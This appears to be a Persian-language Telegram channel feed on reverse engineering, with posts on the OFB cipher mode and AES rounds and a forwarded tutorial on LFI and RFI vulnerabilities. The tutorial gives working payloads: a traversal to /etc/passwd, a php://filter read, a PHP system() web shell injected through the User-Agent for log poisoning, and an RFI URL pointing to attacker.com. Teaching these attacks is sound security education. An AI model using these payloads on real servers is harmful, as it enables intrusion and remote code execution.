آموزش جامع مهندسی معکوس رایگان که شامل معماری های x86 و x64 و ARM و معماری امبدد RISC-V هستش
https://github.com/mytechnotalent/Reverse-Engineering
https://github.com/mytechnotalent/Reverse-Engineering
GitHub
GitHub - mytechnotalent/Reverse-Engineering: A FREE comprehensive reverse engineering tutorial covering x86, x64, 32-bit/64-bit…
A FREE comprehensive reverse engineering tutorial covering x86, x64, 32-bit/64-bit ARM, 8-bit AVR and 32-bit RISC-V architectures. - mytechnotalent/Reverse-Engineering
👍1🤔1
الگوریتم رمزنگاری OFB
مد Output Feedback بسیار شبیه به CFB هست ولی مثل اون به زنجیر كردن متن های رمزنگاری شده نمی پردازد و به جای اون یک سری پردازش دیگر بر روی متن اصلی انجام میده از این مد برای رمزنگاری ارتباطات ماهواره ای استفاده میشه مدهای CBC و CFB تایید پیغام و رمزنگاری رو پشت سر هم انجام میدن تایید پیغام جهت اطمینان از مطابقت متن ارسال شده و متن دریافت شده هست در هنگام رمزنگاری DES بلوک های متن به هم لینک میشن در مدهای CFB و CBC رمزنگاری هر بلوک وابسته به رمزنگاری بلوک قبل از اونه به علت وجود همین اتصال در صورت ایجاد تغییر حتی در یک كاراكتر، بلوک نهایی رمزنگاری شده تغییر میکنه به همین دلیل بلوک آخر به عنوان یک كد تأیید هویت كار میكنه و از یک cryptographic checksum برای آزمایش دقت انتقال و تشخیص دستكاری پیغام استفاده میشه كلیدهایDES 40 بیتی امروزه در عرض چندین ساعت توسط كامپیوترهای معمولی شكسته میشن و بنابراین نباید برای محافظت از اطلاعات مهم و با مدت اعتبار طولانی استفاده شه كلید 56 بیتی معمولا توسط سختافزار یا شبكههای بخصوصی شكسته میشه
مد Output Feedback بسیار شبیه به CFB هست ولی مثل اون به زنجیر كردن متن های رمزنگاری شده نمی پردازد و به جای اون یک سری پردازش دیگر بر روی متن اصلی انجام میده از این مد برای رمزنگاری ارتباطات ماهواره ای استفاده میشه مدهای CBC و CFB تایید پیغام و رمزنگاری رو پشت سر هم انجام میدن تایید پیغام جهت اطمینان از مطابقت متن ارسال شده و متن دریافت شده هست در هنگام رمزنگاری DES بلوک های متن به هم لینک میشن در مدهای CFB و CBC رمزنگاری هر بلوک وابسته به رمزنگاری بلوک قبل از اونه به علت وجود همین اتصال در صورت ایجاد تغییر حتی در یک كاراكتر، بلوک نهایی رمزنگاری شده تغییر میکنه به همین دلیل بلوک آخر به عنوان یک كد تأیید هویت كار میكنه و از یک cryptographic checksum برای آزمایش دقت انتقال و تشخیص دستكاری پیغام استفاده میشه كلیدهایDES 40 بیتی امروزه در عرض چندین ساعت توسط كامپیوترهای معمولی شكسته میشن و بنابراین نباید برای محافظت از اطلاعات مهم و با مدت اعتبار طولانی استفاده شه كلید 56 بیتی معمولا توسط سختافزار یا شبكههای بخصوصی شكسته میشه
👍6🖕1
نحوه کار AES
الگوریتم Rijndael بایت به بایت كار میکنه و ورودی اصلی رو با كلید رمزنگاری در یک ماتریس 4×4 وصل میکنه كلید به طریقی تقسیم یا برنامه ریزی شده كه بتونه در مراحل مختلف تكرار به تدریج تزریق شه اولین قسمت كلید قبل از شروع پروسه 10 مرحله ای تزریق میشه در هر كدوم از این مراحل بایتها جابجا میشن ردیف ها شیفت پیدا میکنن و ستونها تركیب میشن
الگوریتم Rijndael بایت به بایت كار میکنه و ورودی اصلی رو با كلید رمزنگاری در یک ماتریس 4×4 وصل میکنه كلید به طریقی تقسیم یا برنامه ریزی شده كه بتونه در مراحل مختلف تكرار به تدریج تزریق شه اولین قسمت كلید قبل از شروع پروسه 10 مرحله ای تزریق میشه در هر كدوم از این مراحل بایتها جابجا میشن ردیف ها شیفت پیدا میکنن و ستونها تركیب میشن
🔥3
SubBytes
در پروسه جابجایی بایت های متن ورودی در یک جعبه جابجایی به نام S-box قرار می گیرن كه یک ماتریس 16×16 هست هر بایت در یک تقاطع سطر و ستون این ماتریس جا می گیره برای پیدا كردن جای هر بایت اولین عدد صحیح مبنای 16 (nibble) در یک بایت متن اصلی گرفته شده و از اون برای مشخص كردن سطر S-box استفاده میشه و سپس از دومین nibble برای مشخص كردن ستون استفاده می شه كاراكتری كه در تقاطع سطر و ستون انتخاب شده ذخیره میشه به عنوان SubByte برای متن اصلی شناخته میشه این پروسه برای هر 16 بایت در ماتریس تكرار میشه
در پروسه جابجایی بایت های متن ورودی در یک جعبه جابجایی به نام S-box قرار می گیرن كه یک ماتریس 16×16 هست هر بایت در یک تقاطع سطر و ستون این ماتریس جا می گیره برای پیدا كردن جای هر بایت اولین عدد صحیح مبنای 16 (nibble) در یک بایت متن اصلی گرفته شده و از اون برای مشخص كردن سطر S-box استفاده میشه و سپس از دومین nibble برای مشخص كردن ستون استفاده می شه كاراكتری كه در تقاطع سطر و ستون انتخاب شده ذخیره میشه به عنوان SubByte برای متن اصلی شناخته میشه این پروسه برای هر 16 بایت در ماتریس تكرار میشه
🔥2
ReverseEngineering
SubBytes در پروسه جابجایی بایت های متن ورودی در یک جعبه جابجایی به نام S-box قرار می گیرن كه یک ماتریس 16×16 هست هر بایت در یک تقاطع سطر و ستون این ماتریس جا می گیره برای پیدا كردن جای هر بایت اولین عدد صحیح مبنای 16 (nibble) در یک بایت متن اصلی گرفته شده…
https://www.researchgate.net/figure/Sub-Bytes-step-1-Byte-Substitution-The-byte-substitution-step-consists-of-replacing_fig6_322518289
یک رفرنس خوب برای اینکه کار دقیق SubBytes و نحوه کار کردنشو بفهمید
یک رفرنس خوب برای اینکه کار دقیق SubBytes و نحوه کار کردنشو بفهمید
ResearchGate
Fig. 8. Sub Bytes step 1) Byte Substitution: The byte substitution step...
Download scientific diagram | Sub Bytes step 1) Byte Substitution: The byte substitution step consists of replacing each of the 16 bytes in our state matrix (the input) with a byte from a fixed lookup table called an sbox ( see Figure 8). Let B = 16b 1 +…
❤1🔥1
شیفت ردیف و تركیب ستونها
بایت هایی كه باید رمزنگاری شن توسط جایگذاری تعویض میشن و بعد ردیف ها شیفت پیدا میکنن برای مثال اولین ردیف دست نخورده باقی میمونه ردیف دوم یک محل به راست جابجا میشه سومین ردیف دو محل جابجا میشه و آخرین ردیف نیز سه محل جابجا میشه این پروسه توسط یک فاز تركیب ستونها دنبال میشه كه در آن هر ستون از ماتریس در یک ماتریس دیگر ضرب میشه تا موقعیت ستون تغییر کنه
بایت هایی كه باید رمزنگاری شن توسط جایگذاری تعویض میشن و بعد ردیف ها شیفت پیدا میکنن برای مثال اولین ردیف دست نخورده باقی میمونه ردیف دوم یک محل به راست جابجا میشه سومین ردیف دو محل جابجا میشه و آخرین ردیف نیز سه محل جابجا میشه این پروسه توسط یک فاز تركیب ستونها دنبال میشه كه در آن هر ستون از ماتریس در یک ماتریس دیگر ضرب میشه تا موقعیت ستون تغییر کنه
👍3❤1🕊1
كلیدهای Round
در مرحله بعدی یک كلید round به هر ستون اضافه میشه این كلید در واقع یک تیکه کوچیک از یک كلید محرمانه است كه برای مراحل بعدی رمزنگاری تزریق میشه
در مرحله بعدی یک كلید round به هر ستون اضافه میشه این كلید در واقع یک تیکه کوچیک از یک كلید محرمانه است كه برای مراحل بعدی رمزنگاری تزریق میشه
👍5❤1
تكرار
این تبدیل ها 9 بار دیگه تكرار میشن در تكرار آخر تركیب ستون ها وجود نداره و با اضافه كردن كلید round متن رمزنگاری شده به دست میاد كلید هم به ترتیب خود شیفت پیدا می كنه گرد میشه و به خودش اضافه میشه.
این تبدیل ها 9 بار دیگه تكرار میشن در تكرار آخر تركیب ستون ها وجود نداره و با اضافه كردن كلید round متن رمزنگاری شده به دست میاد كلید هم به ترتیب خود شیفت پیدا می كنه گرد میشه و به خودش اضافه میشه.
👍5👏1
دوستان اگه کانال برسه به 400 یک سوپرایز دارم براتون یک کتاب صفر تا صد مهندسی معکوس که هیچ جا leak نشده و جدیدترین نسخه است رو براتون میزارم و اگه ممبرا برن بالا از این به بعد بهترین رفرنس های روز دنیا رو براتون میزارم
😍18👏4🔥2❤1
Forwarded from Web Application Security (Alireza)
4⃣ توضیح کامل آسیب پذیری LFI =
شبه کد آسیب پذیر با PHP به LFI 👇
وقتی کد بالا استفاده بشه، با URL زیر میتونیم بهش مقدار بدیم :
در URL بالا فایل news.php داخل فایل index.php فراخوانی شده است. برای بهتره برداری ازش در مرحله اول باید سعی کنیم فایل passwd را بخوانیم.
5⃣ استفاده از Wrapper ها =
در LFI میتونیم از wrapper ها هم استفاده کنیم. از Wrapper زیر برای خوندن فایل استفاده میشه که میتونیم باهاش کد های وب سایت رو بخونیم.
خروجی به صورت base64 هست و باید decode بشه.
6⃣ تبدیل LFI به RCE =
روش های مختلفی برای تبدیل LFI به RCE وجود دارد مثل :
1) Expect Wrapper
2) Input Wrapper
3) Log Poisoning
4) phpinfo in php
5) Chain LFI & SQLi
6) PHP Session
7) Chain LFI & RFU
1⃣⏺6⃣ تکنیک Log Poisoning :
بعد از پیدا کردن LFI، باید دنبال یک فایلی در سرور باشیم که دیتایی از سمت کاربر ذخیره میشه داخلش. باید دسترسی خوندن اون فایل رو داشته باشیم. میتونیم موارد زیر رو بررسی کنیم :
1) Apache/Nginx Log file
2) FTP Log file
3) SSH Log file
4) SMTP Log file
5) SFTP Log file
مثلا تو log file های مربوط به وب سرور خیلی وقتا user-agent هم لاگ میشه.(قبلش باید فایل Log رو با LFI بخونیم و مطمئن بشیم از این مورد). تنها کاری که باید انجام بدیم inject کردن پیلود مخرب به عنوان user agent هست.
و این اطلاعات در لاگ فایل مربوط به Apache ذخیره میشه. حالا باید از طریق LFI اون فایل رو فراخوانی کنیم و پارامتر cmd رو مقدار دهی کنیم.
و RCE گرفته میشه.
برای مابقی سرویس هاهم Log poisoning به این صورت انجام میشه با این تفاوت که اونجا user agent نداریم و چیز دیگه ای از کاربر Log میشه مثل یوزرنیم.
7⃣ آسیب پذیری RFI =
تو آسیب پذیری LFI همه فایل هایی که فراخوانی میکردیم Local بودن. تو آسیب پذیری RFI فایل های Remote هم فراخوانی میکنیم. فرضا یک فایل در سرور خودمون قرار میدیم با اکستنشن txt. و به عنوان ورودی به تارگت میدیم.
اما حالت پیشفرض این آسیب پذیری وجود نداره حتی اگه LFI وجود داشته باشه، باید کانفیگ های مربوط به دو مورد زیر به صورت دستی توسط برنامه نویس تغییر داده بشه تا قابلیت فراخوانی فایل به صورت remote فعال بشه.
وقتی آسیب پذیری RFI داریم قطعا LFI هم داریم. اما وقتی LFI هست تا وقتی دو تابع بالا فعال نباشن آسیب پذیری RFI وجود نخواهد داشت.
1⃣⏺7⃣ آیا اگر بتونیم یک فایل remote روی وب سایت لود کنیم RFI داریم همیشه❓
خیر. علاوه بر فراخوانی به صورت remote باید تابع آسیب پذیر قابلیت اجرایی داشته باشه تا بتونیم کد سمت backend اجرا کنیم (همون خاصیت LFI) . در غیر این صورت فقط میتونیم یک فایل JS. به صورت remote لود کنیم و به XSS برسیم.
#LFI
#RFI
#Path_traversal
#Directory_traversal
شبه کد آسیب پذیر با PHP به LFI 👇
include($_GET['file']);
وقتی کد بالا استفاده بشه، با URL زیر میتونیم بهش مقدار بدیم :
http://target.com/index.php?file=news.php
در URL بالا فایل news.php داخل فایل index.php فراخوانی شده است. برای بهتره برداری ازش در مرحله اول باید سعی کنیم فایل passwd را بخوانیم.
http://target.com/index.php?file=../../../../../../../etc/passwd
5⃣ استفاده از Wrapper ها =
در LFI میتونیم از wrapper ها هم استفاده کنیم. از Wrapper زیر برای خوندن فایل استفاده میشه که میتونیم باهاش کد های وب سایت رو بخونیم.
php://filter/convert.base64-encode/Resource=index.php
خروجی به صورت base64 هست و باید decode بشه.
6⃣ تبدیل LFI به RCE =
روش های مختلفی برای تبدیل LFI به RCE وجود دارد مثل :
1) Expect Wrapper
2) Input Wrapper
3) Log Poisoning
4) phpinfo in php
5) Chain LFI & SQLi
6) PHP Session
7) Chain LFI & RFU
1⃣⏺6⃣ تکنیک Log Poisoning :
بعد از پیدا کردن LFI، باید دنبال یک فایلی در سرور باشیم که دیتایی از سمت کاربر ذخیره میشه داخلش. باید دسترسی خوندن اون فایل رو داشته باشیم. میتونیم موارد زیر رو بررسی کنیم :
1) Apache/Nginx Log file
2) FTP Log file
3) SSH Log file
4) SMTP Log file
5) SFTP Log file
مثلا تو log file های مربوط به وب سرور خیلی وقتا user-agent هم لاگ میشه.(قبلش باید فایل Log رو با LFI بخونیم و مطمئن بشیم از این مورد). تنها کاری که باید انجام بدیم inject کردن پیلود مخرب به عنوان user agent هست.
GET /test HTTP/1.1
..
..
..
User-Agent: <?php system($_GET['cmd']) ?>
و این اطلاعات در لاگ فایل مربوط به Apache ذخیره میشه. حالا باید از طریق LFI اون فایل رو فراخوانی کنیم و پارامتر cmd رو مقدار دهی کنیم.
http://target.com/index.php?file=../../../../../var/apache2/access.log&cmd=whoami
و RCE گرفته میشه.
برای مابقی سرویس هاهم Log poisoning به این صورت انجام میشه با این تفاوت که اونجا user agent نداریم و چیز دیگه ای از کاربر Log میشه مثل یوزرنیم.
7⃣ آسیب پذیری RFI =
تو آسیب پذیری LFI همه فایل هایی که فراخوانی میکردیم Local بودن. تو آسیب پذیری RFI فایل های Remote هم فراخوانی میکنیم. فرضا یک فایل در سرور خودمون قرار میدیم با اکستنشن txt. و به عنوان ورودی به تارگت میدیم.
http://target.com/index.php.php?file=http://attacker.com/RFI.txt
اما حالت پیشفرض این آسیب پذیری وجود نداره حتی اگه LFI وجود داشته باشه، باید کانفیگ های مربوط به دو مورد زیر به صورت دستی توسط برنامه نویس تغییر داده بشه تا قابلیت فراخوانی فایل به صورت remote فعال بشه.
allow_url_include
allow_url_fopen
وقتی آسیب پذیری RFI داریم قطعا LFI هم داریم. اما وقتی LFI هست تا وقتی دو تابع بالا فعال نباشن آسیب پذیری RFI وجود نخواهد داشت.
1⃣⏺7⃣ آیا اگر بتونیم یک فایل remote روی وب سایت لود کنیم RFI داریم همیشه❓
#LFI
#RFI
#Path_traversal
#Directory_traversal
👍3❤1🍌1